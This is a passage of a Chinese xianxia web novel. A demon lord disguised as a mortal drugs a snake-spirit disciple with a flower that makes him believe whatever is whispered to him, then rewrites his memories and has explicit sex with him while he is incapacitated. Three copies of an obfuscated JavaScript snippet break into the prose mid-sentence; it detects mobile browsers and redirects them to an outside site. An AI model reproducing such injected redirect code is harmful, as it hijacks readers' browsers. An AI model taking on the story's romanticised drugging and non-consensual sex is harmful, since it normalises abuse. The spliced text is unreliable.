人族大概真的很笨吧,才会说出这么笨的话,可是他不知道,这句话,对一条在仙山上长大的蛇来说,有多么重要。 绪清掐了个法诀,将满地魔血清理干净,又顺带修葺了破陋的房屋,变出一张足够容纳两人的宽榻,一床柔软干净的被褥。 莫迟久病缠身,悲伤过度,又惊魂未定,一夜梦魇,一直睡不安稳,绪清便和衣卧到他身边,试着将他抱进怀里,轻轻拍他宽阔却瘦削的后背,一点灵力探进他经脉,很快找到了病灶,只是莫迟肉.体凡胎,身骨病弱,他的灵力又太过纯粹,只能一点一点给他医治。 “绪清……” 绪清领口高束的玄衣被他蹭开一角,露出一点雪白柔软的酥润,他像一个溺水的人抱住自己唯一的浮木,绪清水蛇一般的腰身被箍得很痛,鲜红的蛇信有些焦虑地频繁外吐,轻轻舔在莫迟冷汗淋漓的前额。 “嗯,绪清在这儿呢。”他捂住莫迟微凉的侧脸,试图给他一点安慰。 “不要走……不要……” “我不走。”绪清下意识回应他,可话刚一出口,自己却先愣了一瞬。 他是灵山的蛇,最终定是要回灵山去的。 然而,莫迟留存在这世间的时间本就不多,凡人百年,或许只是师尊一次随心的闭关,却是莫迟一生的光阴。 绪清陷入了有生以来最艰难的一次纠结之中,一整夜,看着莫迟的脸,一会儿想念起师尊,一会儿忧心着莫迟……也许是和莫迟紧紧相拥的温度让绪清很是贪恋,又也许是灵山之巅实在太过凄寒,他决定先在人间住一段时日,等师尊来找他,他就跟师尊回家。 如果师尊一直不来找他……他就等莫迟寿终正寝,等到安葬了莫迟以后,再回灵山。 就这般,绪清在人间住了一段时日。 准确来说,是在平乐巷,莫迟家住了一段时日。 莫迟的身体渐渐好了起来,他帮着员外家抄书,又帮着药铺晒药煎药,攒下不少钱,给绪清裁了一套新衣裳。 那衣裳用花纸包着,当晚,绪清故作矜持地拆开莫迟送的礼物,发现是套月白色的新衣裳,忍不住雀跃地凑到莫迟脸边轻轻咬他一口,当即换下身上原本那件三百年来未曾变过形制的玄锦道服,穿上了人族缫丝制成的雨丝棉。 “小清,我还有一样东西要送给你。”莫迟牵住他冰凉而柔软的手,声音清润而温柔。 绪清看着他,有些好奇地歪了歪脑袋。 莫迟面色郑重,从怀中拿出一个盒子,打开,里面是一株蛇草一样的花,看着平平无奇。 绪清在灵山那么多年,什么灵花灵草没见过,然而此时看见匣中一点真气都没有的凡花,居然很是感动:“又乱买东西。不是不让你给我买东西了么?你每天那么辛苦,挣了钱不要只给我花,知道吗?” 5. 蜕皮 莫迟听着他絮絮的数落,似乎已经习惯了他爱说话的性子,噙着笑,低头抵住他前额,在他喋喋不休的丹唇上轻啄一口。 绪清睫毛一闪,倏地住了嘴,难掩惊异地拧起眉心盯着他。 “没有乱花钱,剩下的都攒着呢。”莫迟抬起掌心捂了捂他的眼睛,察觉到掌心被两把小绒刷轻轻扫过,又笑着放手,温声解释,“这是药铺掌柜送我的,说有温养心神、破阴散寒的效用,在铺里要卖五两金呢。” “你身子不是一直很冷么?大抵是虚寒太盛的缘故,把这花吃了就好了。” 绪清早就不食五谷了,更别说灵山之外说不上名字的花草,师尊不让他吃来历不明的东西。 莫迟见他犹豫,似有拒绝之意,便闷闷咳嗽两声,不无失落地挤出个笑来:“……瞧我这记性,小清是仙家子,想要什么草药应该都能得到吧。” 他说着,便有些窘迫地红着脸,把匣子合上,抬手想要收回怀里。 绪清不忍他伤心难过,赶紧牵住他手腕,把木匣握进掌心:“哪里的话,仙界也不是什么都有的……你给的很多东西,对我来说都很重要,不管你送我什么,我都很喜欢。” 莫迟:“真的?” 绪清点点头:“真的。” “那你吃一棵,看能不能治寒症,对了,掌柜说这花是甜的,你喜欢吃甜的么?” 绪清的思绪被他的话带偏了:“喜欢。小时候师尊会抱着我,用槐叶舀仙露给我喝,我家仙露可好喝了,等我下次过来给你带些尝尝。” 他总是这样,无论什么话题,都能扯到他那秉轴持钧的师尊身上,莫迟压下眼底暗色,将他抱在腿上,催促他吃下那味甜花:“嗯。那你吃口这个,看看喜不喜欢。” 绪清已经好些日子没有变回十六七岁的身体,一是不欲在人间频繁动用术法,二是偶尔以这副模样示人的感觉也不错。莫迟不会嫌弃他相貌妖异,反而很喜欢盯着他的脸看,还说古画里那些宓妃昳仙也比不上他一根头发。 师尊从来不夸他容貌姣好,在遇到莫迟之前,他也不觉得自己好看,总觉得眉眼间那股掩不住的妖气很奇怪,不像是名门正派的弟子。 但在平乐巷,没有人认识他,没有人看见他就会说起灵山之巅那位高高在上的仙尊,他可以短暂地离开仙门的纷争,离开所有人对他的期待,离开他自己对师尊无尽的仰赖和执念,当一个普普通通的凡人。 “好。”绪清打开匣子,冷白的指尖捻起纤细花茎,没再迟疑,朱唇轻启,皓齿轻合,轻微地咔嚓一声,咬断花茎,将花叶含在口中细细咀嚼。 “甜的。” 他吃饭也很注重仪态,咀嚼的时候垂着睫帘很是专注,吞咽下去才开口说话。但在很多很多年以前,在他还是条幼蛇的时候,刚到灵山,吃他有生以来的第一顿饱饭,整张小圆脸几乎要埋进碗里,小猪拱槽一般吃得哼哼唧唧,那模样让帝壹都有些疑惑,忙拎起他的衣领捏开他鼓鼓囊囊的两腮,检查一下他两颗雪亮尖锐的小蛇牙。 “好吃吗?喜欢吃的话,我把这个月工钱抵了,让掌柜再送我一棵。” 绪清赶紧抓住他肩膀,用力摇头:“不要。” 莫迟试探着抚上他软韧酥绵的侧腰,绪清怕痒,这些日子都不让他碰腰,一口怀梦玉京花入腹,即便怕痒也没再抵触,反而笑倒在他怀里,丰润腰臀在他怀里扭来晃去,鲜红的雪颊不住蹭着他的肩膀,金眸迷离又痴情地望着他,颊边一颗小红痣愈发鲜明。 “看来一棵就够了,确实不必再麻烦掌柜。”莫迟唇边终于勾起一抹会心的笑意,眼神却极冷,极恨,苍白指尖掐住绪清两颊,犹如握了满手沁凉的脂玉,看着帝壹的爱徒在自己怀里思春含浪的妖媚乖态,张口嗤笑着骂了句,“臭、婊、子。” 绪清却不懂他在说什么,只觉得脑袋有点晕,当即握住莫迟抚在他腰上的手,蹭蹭他温暖的颈窝:“唔……阿迟,别闹我了!” 莫迟抿了抿唇,神色变化莫测。 他并非什么凡人,而是魔域第七重界的尊主赤魔。三千年前,仙魔大战,帝壹一剑震碎了他父亲的魔婴,又将父母的魔魂镇于三清铃中永世不得超生,几乎屠尽了整个魔域。他是被父母塞进蛇腹中才逃过一死,然而当他剖开蛇腹,死里逃生,魔域却早被鬼族占领。 他那时才七岁,却被迫敛尽一身魔息,在沦为鬼族炼狱的故土苟且偷生,每日如牲口般被驱役,在鬼族脚下忍受着无尽折磨、无尽屈辱……在那之后,过了很多年,没有长辈指引,又没有大魔遗脉继承,甚至魔族的尸体早就被鬼族分食殆尽,莫迟只能去吃那些被鬼族扔掉的、饱含着残暴魔息的魔婴残骸。 直到魔族旧部卷土重来,他的脖子上才取下大魔余孽的木牌,终于能回到第七重界,看着九霄殿沦为邪魔淫乐的娼寮。 他发誓要把帝壹碎尸万段,要帝壹血债血偿,为此他可以付出任何代价,然而当他魔功越是精进,魔阶越是高深,甚至登上第七重界尊主的宝座之后,他竟然越来越明白,那焚尽他肺腑的滔天恨火,到头来,竟成了天地间最荒唐的一场笑话。 六界九州,九天十地,没有人能够让帝壹血债血偿。 他就是个彻头彻尾的异类,是五行之外、天道运转间唯一的变数,众仙对他俯首称臣,连神族、妖族、人族都将他的仙旨奉若圭臬。他种的恶因,竟然没有一个人能让他自食其果,所有的一切,不过是一个失去双亲的赤魔苟且偷生的妄想。 正当莫迟万念俱灰,绝望崩溃之际,无极天却终于传来喜讯,说灵山尊者帝壹机缘巧合之下得一幼徒,万爱千恩,无尽宠怜,只是一个满月宴就办了三十三日,丰珍仙果,芳华百味,宴席从无极天摆到人间界,凤鸾合鸣,群山来贺。 莫迟隐去魔息,隔得很远,只望了极短促的一眼,没看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105020|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 刚满月的婴儿,只看见一条玄麟金瞳的小黑蛇,盘在帝壹掌心,傲气十足地盯着面前的缃??神鸟。 莫迟仰天大笑,笑得几乎流下泪来。 这是他唯一的机会。 他确定,这个孩子会成为他的武器。 “阿迟?” 绪清见他久久不说话,不由得有些担心:“怎么了?” “……没什么,想起一些前尘往事。” 绪清直觉他这话有些不对,人族几十年的寿命,哪有什么前尘可言,然而此时被莫迟抱在怀里,温暖干燥、蕴着清墨药香的怀抱让他久违地有些困倦,金瞳似是蒙上了一层云蓝色的雾霭,他甚至忘了自己还没跟莫迟坦白自己是蛇妖的事,就迷迷糊糊地变出粗肥可怖的蛇尾来,模糊间看着自己黯淡无光的蛇鳞,情绪不自觉也有些低落,尾音含着哭腔:“阿迟……” 莫迟腿上骤然一重,看着那条足有小童合抱那么粗的黑鳞蛇尾,俯身捞起他焦虑地轻轻拍地的尾巴尖,在指腹间轻轻捻了捻:“嗯?” 绪清的尾巴尖还没被谁这样对待过,没等绪清反应过来,就狠狠一下抽在莫迟掌心。鳞片张开的地方将掌心割开长长的一条血口,充沛的魔息瞬间汩汩涌出,衔灵剑在灵台震荡数声,剑光如有实质般化出蛇影,朝着莫迟蛇口大张。 莫迟却只是不甚在意地舔了舔掌心的魔血,似笑非笑,掐住绪清昳艳红润的脸颊,唇齿交缠间将一口魔血灌进他冰清玉洁的灵体深处。 绪清紧紧抓着他的衣裳,不知为何竟然连那么浓重的魔煞都察觉不到,只知道自己快蜕皮了。玄蛇十年蜕皮一次,以往蜕皮的时候都是师尊用灵息一点点剥掉的,他原形很大,并不是平常喜欢化成的那种小蛇,既不可爱,也不漂亮,蜿蜒着也能塞满整个屋子,蜕皮的时候不太能看得清东西,会控制不住地到处乱蹭乱咬,蛇腹间又黏又腥。 “我、我得回去了……” “回去?”莫迟掐住他雪白柔腻的一截软颈,话音含笑,“小清要回哪儿去?又要回你师尊那儿去?他还要你么?这么久都没来找过你。” “要的。”绪清在这个问题上莫名有些固执,“还要的。” “还要啊?”莫迟似乎觉得有些遗憾,但目光却并未沾染失望的神色,反而因此闪烁起玩味的寒光,他收紧虎口,低头舔了舔绪清脸颊上那颗鲜红的小痣,“帝壹跟你说的?” 绪清咳嗽两声,昏昏沉沉间居然也能骤然生起气来:“师尊没说,但他还要的,你不要、不要把我给弄坏了……弄坏了、他可能……就不要了……” “小清。” 莫迟残忍地告诉他:“就算你现在回去,告诉帝壹,你还是完璧之身,他也不可能要你了,知道为什么吗?” 绪清一下呆住了,一双雾蓝色的半盲眼睛一眨不眨地望着莫迟,睫绒很快湿了一圈。 “因为你的心已经爱上了我。” 6. 野狗 “……爱?” 绪清灵台深处居然有一股灵息,藏得极深,极隐蔽,可能连他自己也没察觉,被魔息一激,便自灵台方寸漫延至眉心,小腹浮现出繁复的宝相灵莲纹,重瓣莲纹侧托着赤色蕊心,金光隐隐,美不胜收。 绪清正烦恼着什么是爱,腹中突然一阵绞痛,半人半蛇蜷在莫迟怀里痛苦地淌下泪来,乌绸般的长发湿淋淋地粘在雪颊。 绪清剧痛难忍,在莫迟怀中猛一弹动,那一下莫迟都没按住,整条蛇重重地摔在地上,好在金阳灵息很快吞噬了怀梦玉京花的毒素,宝相莲纹金光乍现,浑身痛苦如潮水般褪去,取而代之的是融融暖意和淡淡莲香。 是师尊身上的味道。 “没事吧?疼不疼?”莫迟蹲身将他半抱起来,托住他的手臂和肩膀,“怎么了?哪里不舒服?” 绪清汗涔涔地喘息着,看不清东西,也听不清声音,下意识抓住莫迟的手,抓得很紧,生怕被抛下似的,也许是那股熟悉的莲香让他产生了某种微妙的错乱,他也不知道自己在做什么了,只是难耐地用脸颊蹭着莫迟的颈侧,两行清泪骤然滑落:“师尊……” 莫迟面色瞬间黑如锅底。 然而很快,他又似乎不甚在意地笑了笑,眼神冰冷:“师尊?你在你师尊面前也是个淫.娼?” 绪清雾蓝色的竖瞳懵懂湿润,瞳孔涣散,眉心紧颦。 “好徒儿,乖,把你肚子里的脏东西吐出来,你看你,被这东西折磨成什么样了?吐出来,师尊重新给你烧个情疤。” 绪清似乎也觉得那股灵息刚刚把他折磨得很痛苦,模模糊糊地听见师尊说可以吐,就抬手捂住口唇,循着金光消退的踪迹,试着将那股灵息干呕出来。 “不、不行……师尊……吐不出来。” 莫迟觉得他真的笨得厉害,白长了一张看似慧黠、色笑袭人的灼灼华颜,心性举止却与痴儿騃女无异,吐不出来就吐不出来,跟他那老不死的师尊撒什么娇。 “乖,深吸一口气。”莫迟将他抱到榻上躺着,也不在乎他尾巴上沾了灰,撩起他刚刚穿热乎的新衣裳,苍白的五指摁在他莲纹隐约的小腹上,感受着柔软的小腹慢慢鼓起来,“憋一会儿。” 莫迟指尖溢出一道浓黑煞气,刚要碰到腹下软肉,一道金色罡印便朝莫迟打来,雪腹间金色莲纹尽显,看起来圣洁无玷。 莫迟冷笑一声,抓着绪清挡在自己身前,那道罡印如有所感,堪堪调转了弧弯,偏偏打在绪清肩侧,绪清咬牙受了这一击,以为师尊又在罚他,但这回居然是抱着罚的,肩膀被金阳元息灼出一片血红的烧痕,但是被师尊抱着,好像也不怎么痛。 绪清早就是很会忍痛的性子了,小时候破一点皮都要嘶嘶叫唤,见血了就更是不得了,非得缠着帝壹要哄哄抱抱才能好。灵山除了几个秘境,几乎没什么危险,多数都是他自己不小心从树上摔下来,睡迷糊了不小心磕在灯台上,又或是追着狐狸跑不小心滚下山去……后来灵山就到处都是师尊的灵识,直到他长大以后,有一次在浴池翻滚,一缕金色灵识落在他泄殖腔上久久不去。 绪清也不太懂,却本能地有些害羞,捧着那缕灵识去找师尊,师尊和以前一样,什么也没问,却仿佛已经知道了所有的事,第二天就把所有的灵识收了回去,灵山不再漫山遍野满是金光。 再后来,师尊就开始常年闭关,和师尊的灵息一起练剑的时候,绪清总是会很怀念师尊手把手教他剑式的岁月,总是会想师尊什么时候出关,总是走神,总是受伤……师尊留给他的灵草灵药很多,但他很多时候不爱自己处理,非要把伤留着等师尊出关,可是往往直到疤都掉了几回,都不见师尊金影。 “师尊……” 绪清心里压抑了数百年的委屈在此刻实在难以平息,他收着蛇牙,咬住莫迟的衣服,像小时候张开蛇口咬在师尊衣襟那样,毫无威慑力地磨了磨。 莫迟很不喜欢这种感觉。 成为帝壹替代品的感觉。 凭什么帝壹已是灵山之主,无极天至尊,无量修为,寿与天齐,天地劫历皆在他一念之间,还能有红颜在侧,尽付痴心? 莫迟面色沉冷,却没有再轻举妄动,此刻绪清因疼痛而绷紧的小腹就贴在他身上,为了这淫蛇再被那罡风打一道,倒是不值得。 不过这小蛇不过三百年修为,居然能扛下那道罡风,还只受了点小伤,那罡风陡转生怕伤他一分,那股毁天灭地的金阳元息什么时候竟学会怜香惜玉了? “小清。”他捏住绪清鲜润的颊面,听见那丹唇啵地一声,雪亮的蛇牙看着咬人很疼,“不要动用灵力,试着用你蛇丹里的妖力去吞噬那股总是伤害你的气息,听懂了吗?” 很显然,绪清没懂。 他是蛇妖,修炼百年自然而然结了妖丹,但他几乎没有动用过妖丹中恶戾的妖气,所有的功法用的都是灵台真气,突然让他像条真正的蛇妖一样去吞噬另一股力量,他根本不会。 他迷茫地空着眼,一捻红唁有些焦虑地舔着莫迟颈侧,发出很轻微、很不安的嘶嘶声,蛇尾在床褥间迟缓地盘蠕交缠。 “笨成这样。”莫迟忍不住嘲讽两句,“帝壹眼光可真好。” “唔。”绪清迷迷糊糊听到后半句,还以为谁又在夸他呢,磨磨蹭蹭地雀跃起来。不过这人可真够大胆的,居然敢直呼师尊的法号。 “说你笨你还高兴。”莫迟无奈地掐掐他的脸,又按住他丹田的位置,那位置离他灵台方寸极近,却一直蛰伏在低处,妖气分毫不泄,莫迟往里用力摁了摁,将那雪白的腹肉摁得发红,绪清只觉得小腹酸胀得难受,却只是乖乖地嗅着空气中淡淡的莲香,瓮声瓮气地唤着师尊。 莫迟冷冷睨他一眼,沉默没多久,不知出于什么心思扭头在他雪颊上狠咬一口,深深牙印中间嵌着一颗鲜红的小痣, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105021|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 像野狗占地盘尿了一圈。 绪清被摁得受不了,睫毛湿重得睁不开眼睛,妖丹里才终于无师自通地流出一点赤红的大蛇妖气,莫迟一直用指尖将那股妖力往灵台上引,绪清昏昏沉沉的,那股妖气无处可去,又流不回妖丹里,只能循着莫迟指尖划线的方向淌。帝壹那股阴魂不散的金阳元息竟然被绪清的妖力堵到了灵台至深之处,重新沉眠过去。 莫迟忍不住笑起来,终于卸了力,揉揉他满是指痕的肚子,“怎么这么厉害啊,我们小清。” 绪清浑身湿冷,听了这话,也终于跟着松了口气,还没想好自己这么厉害要如何跟师尊讨要奖励,嘴里就被喂进一株涩甜的花。 绪清觉得味道熟悉,长舌一卷将花吞进腹中。 然而这并不是什么凡花,而是赤魔一族圣物怀梦玉京,只生长于魔域第七重界幽深之地,七百年一盛开,唯赤魔血脉方可采撷。其株遍体含毒,然毒性殊异,不伤肺腑,只蚀心神。 中此花毒者,如坠长梦,若有人于其耳畔反复低语,则所言种种,皆会被误以为真,深信不疑,再无移转。 “小清,你睁开眼睛好好看清楚,我是谁。”莫迟托住他粗肥的蛇尾,将他往上抱了抱,好让他看清自己的脸。 他没再用那张幻化出来的,神似帝壹的脸,而是变回了他本来的样貌,鼻挺唇薄,恣肆不羁,墨发随意用一根墨玉簪斜挽着,赤魔一族的眼睛都是血红色,他却不是,也许是食尸腐魔婴过多的缘故,他的瞳孔泛着一种不祥的深紫。 绪清眉心蹙紧,不认识他:“唔。” “我是莫迟,你此生唯一的夫君。” 绪清明显不懂什么是夫君,一直懵懵地盯着他,终于在他脸上找到认识的痣,因为视线模糊,抓不太准东西,一双冰玉般的手一直在莫迟的脸上摩挲,好一会儿才碰到他鼻梁上那颗淡淡的痣。 莫迟愣了一下,没搞清楚绪清又在犯什么迷糊,正要捉住他捣乱的手继续给他灌输一些事宜,绪清却突然点了点他鼻梁上的痣,搂住他的脖子,笑盈盈地唤他一声:“阿迟!” 莫迟:“……” 这花到底起效没? “不是阿迟,是夫君。”莫迟忍着不耐纠正他,“知道什么是夫君吗?” 绪清好奇地戳着他的脸皮,似乎不太明白阿迟怎么变了样子,戳还不够还要吹吹,看能不能吹回原来的样子。 莫迟忍了又忍,终于还是忍不住吐槽:“你是本来就傻还是被帝壹养傻的?” 绪清沉默片刻,不知道听懂了还是没听懂,只是不再动作。 过了会儿,绪清突然从他怀里翻到榻上,背对着他,闷闷不乐地说: “阿迟。” “你送我回家吧。” “我要蜕皮了,很麻烦的,只有师尊才能照顾好我。我家在灵山,你把我送到山脚下就好了,等我蜕了皮再来找你玩。” 7. 命格 灵山之巅,青云万里。 阿鲤跪坐在莲蒲之上,伏听灵山尊者七弦琴音。泠泠神乐逾山越谷,萧瑟满林,天地阔远,目之所及,只见尊者湛瞳白发,光穆均仪,衣冠胜雪,骨貌寒冰。 “尊上,绪清元君已经下山十七日了。” 尊者不答。 “阿鲤能去找找他么?” 尊者信手拨抚琴弦,俄尔金音玉振:“本座竟不知,灵山何时有了外出禁令。” 灵光普照,丽日响晴,阿鲤却冒了一身冷汗,头也不敢抬,伏惟道:“阿鲤失言。” 几个时辰弹指即过,阿鲤却觉得无比漫长,薄暮冥冥,帝壹终于从菩提树下起身,杳杳仙音似有叹息: “本座记得曾教过清儿识魔之法,本座记错了?” “尊上怎会记错,是元君对人族毫无戒心。”阿鲤毕恭毕敬,生怕出一点错,“妖魔本是同宗,元君对魔息的感知历来不够敏锐,那赤魔又是大魔血脉,魔阶高深莫测,元君认不出来也是意料之中。” 帝壹俯瞰着西山暮云,一时无言。 “元君才三百岁,不谙世事,天真无邪……若落到魔头手中,恐怕会受些苦楚。” “前因未了,尘缘未尽。”帝壹掌心微抬,一轮小小的金色命盘凌空浮起,“且随他去。” “等闯祸了,自然知道回家。” —— 前一夜,平乐巷中。 “可是你师尊不要你了,怎么办?”莫迟跟着他躺下来,半撑着身,低头舔了舔他肩侧血淋淋的烧痕,一缕绛紫魔息萦绕在被舔舐过的伤处,模糊淋漓的血肉渐渐愈合。 绪清略略低肩,半阖睫帘扭着身子看向已经愈合的伤口,伤是好了,衣裳却还是破的,露出大片雪腻柔润的肌肤。 “嗯?” 莫迟和衣卧下,将他抱进怀里。玄蛇乃至阴至寒之体,但赤魔一族生于炼狱血海,魔婴灼烈,化作人族的时候有意模仿了人族的体温,所以平日抱起来只是暖和,此刻真真切切地相拥亲热,绪清显然被烫得有些难受,雾蓝色的眼睛里满是湿意,十指虚软地搭在莫迟苍白却结实的手臂上,倒吸着冷气把他轻轻往外推。 “小清,你得习惯啊。”莫迟捏捏他雪软的脸颊,恶劣道,“不然待会儿为夫怎么给你破雏?” 绪清很不高兴:“热!” “是你身上太冷了。”莫迟捉住他冰凉的手指,放在唇边随意地亲了亲,“为夫好心给你暖暖身子,你还不领情,天底下怎么会有你这么坏的小蛇?嗯?” 绪清将脸蹭在自己手背上,躲着他怀里的热气,也许是听出了自己又在被数落,不愿再说话。他一沉默,就稍微有那么一点冷脸的意思,微微上挑的眼冷冰冰地往一旁瞥着,鲜红柔软的唇抿成一条小山般起伏的薄线,看着不太服气。 蛇的适应性是很强的,什么环境都能生存,过了会儿,周遭灼骨的热意好像也变得没那么难以忍受。莫迟舐咬着绪清汗湿的颊面,本来不想亲他,但看着他微微吐出艳舌却又蹙着眉闷闷发气的模样,不自觉地就含住了那点红润的舌尖,寻幽问壑,饮尽甜津。绪清被亲得湿喘连连,蛇尾在被褥间闷得无尽潮润,大蛇湿黏阴甜的冷腥味幽幽外渗,整个屋子都是他的味道。 “好臭。”莫迟在他颈侧深吸一口,薄唇轻轻吐出两个字,鄙嫌之意溢于言表。 绪清眼睫颤了颤,噙着泪,耗尽真气将蛇尾变成了双腿,褥间一片冰凉,双腿满是晶莹。 莫迟埋在绪清颈间,肩膀微微耸动,憋了好一会儿,终于还是忍不住狂声朗笑起来:“哪、哪里来的笨蛇?笨成这样……不如投胎成猪。” 他几乎是覆在绪清身上,躺在绪清怀里,把绪清烫得颤缩不止也不在意,只是抱住他纤韧的腰肢,笑得猖狂恣肆,不知不觉间口鼻肺腔中已经全是那股黏腻的蛇腥味。然而也许是太过靠近酥润珠蕊,莫迟笑着笑着,竟循着香气低头吮住了其中一点,慢慢帮他剥掉珠蕊上的薄壳。绪清只觉得这次蜕皮期太过煎熬,不如在师尊座下暖融融地睡上一觉,可他灵智混沌,不知道自己正按着莫迟的后脑,压根不让人离开。 若不是知道他跟着帝壹修的是无情道,莫迟都要怀疑他这身修为到底是什么来的了。 大千世界,无奇不有,莫迟就知道不少专门吸榨修士修为的妖鬼,绪清这张脸,这副身子,就是到了魔界娼寮都是一等一的头牌,就是不知道有没有食榨元息的本事。 “小清,乖,别动。” 太滑了。 水峡氤氲,一舟隐现。蛇有二阳,那是绪清没有发育好的弃物,封闭无路,唯有舟头藏一赪珠,珠光隐隐,韫而未发。 莫迟眸色骤晦,不知想了些什么,似乎想做些多余的事,但最终没有做,只是将下巴搁在他肩头,闭上眼,且看重桨急挺,水花飞溅,乱红如雨。 其实他并不讨厌蛇。 母亲十月怀胎生下了他,魔蛇温暖的腹腔给了他第二次生命。 他抱着绪清,掐着他的脸颊,虎口被那蛇信舔得湿亮,整个人也好像回到了温暖闷黏的蛇腹里,不知不觉就到了天亮。 绪清居然先起了身。 枕畔已空,莫迟眼皮一跳,翻身下榻,刹那间深紫瞳光如细网铺开,在离此地百里的一处深山里找到了一丝熟悉的蛇息。 “尊主。”一袭红衣薄绡,腰间缠铃的美人凭空出现,袅娜行了一礼,“宫中有事,镜音长老请您回去一趟。” “没空,让他自己看着办。” 话音未落,莫迟便消失在平乐巷,漪莲叹息一声,转身欲走,突然闻到空气中浓郁的蛇腥味,抬眼往屋内一望,满榻狼藉。 漪莲:“……” 天杀的,不是说尊主不近女色的吗? 此地百里外,深林巨洞之中。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17105022|195774||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 蜿蜒的溪流在此处敛声静气,汇入一泓深幽的潭中。山岩间遍地青苔,水雾弥漫,碎石嶙峋,一团巨大的黑影盘踞在洞窟幽微之处,玄鳞间灰白的缝隙痛苦地蹭着地上凸起的岩棱,两盏雾蓝的蛇瞳半阖着,已经稍微露出金色的边缘,蛇身缓慢地盘蠕,蛇头抵住粗糙的岩壁,不住地往复磨蹭,发出刺耳的细响。 莫迟走上去,温声唤他:“小清。” 有了一夜的云雨之欢,绪清对莫迟的味道已经异常熟悉,蛇身纠缠,很快伏首在地,足有数人长的蛇信焦虑地舔舔莫迟的脸颊。 莫迟被舔得一身口水,竟然也不生气,只是轻轻托住他的下颌,看着他艰难眨动的蛇瞳,言语间似有责备:“醒了怎么不叫我?” 绪清发出带着湿意的嘶嘶声。 “听不懂,没学过蛇语。”莫迟不为所动,只是仰头贴了贴他厚软的蛇唇,一股极少被动用的心窍魔息温和地附着上绪清被蹭得破皮的头顶,紫光流转间,轻轻剥下一小块破碎的旧皮。 一日夫妻百日恩,莫迟不觉得是自己心软,只当是嫖了个干净的妓,总得赏点春宵钱,否则,下次绪清可能就没有那么乖了。 那股魔息温和得不像是出自赤魔心窍,暖而不灼,晴而不燥,绪清抖抖脑袋,心口仿佛陡然松了一块大石,蛇身欢畅地在山洞游弋缠动起来,妖气四溢,诡谲非常。 “又不是袖珍小蛇,装什么俏顽可爱?当心把山洞给震塌了,到时候我可不救你。”莫迟御风而起,亲自给他剥眼瞳上的雾膜。 大蛇乖乖的,脑袋不动,尽量不眨眼睛,等着莫迟帮他。 莫迟还没给蛇剥过眼瞳里的雾膜,虽然不觉得帝壹的爱徒有什么怜惜的必要,但也怕动作不慎害他瞎了眼睛。绪清的金瞳是很漂亮的,熠熠生辉的浅金色,瞪起人来神气十足,这么轻易地弄瞎了确实可惜,他有的是法子让他痛不欲生地失明。 “乖,眼睛往上看。” 只剩最后一点雾膜了。 莫迟剥得专注,那么谨慎多疑的一个人,竟然没发现那双金瞳正完完全全倒映着他一个人的影子,眸清炯然,情意无限。 绪清在看他。 “噗”地一声,极轻极微,莫迟终于把最后一点剥了下来,一张完整的雾膜足有一个玉盘大。莫迟肩臂一轻,展开那张雾膜正要揶揄两句,背脊却忽起一道森然寒意,抬眼,正对上绪清沉静的目光。 莫迟唇边的笑意瞬间冷了下去,掌心紫光骤现,正要飞身后退取出骨鞭将这蛇妖制伏,却见蛇口未动,山洞内凭空回荡起一道嘶哑的问询:“夫君?” “……” 莫迟心神微动,纷纷思绪不知所从。 良久,他也许咂摸出一点旗开得胜的意思来——三千年了,他终于有了第一具能够刺伤帝壹的妖器。 然而不知道为什么,此刻占据心头的,却是绪清金光闪烁的眼睛。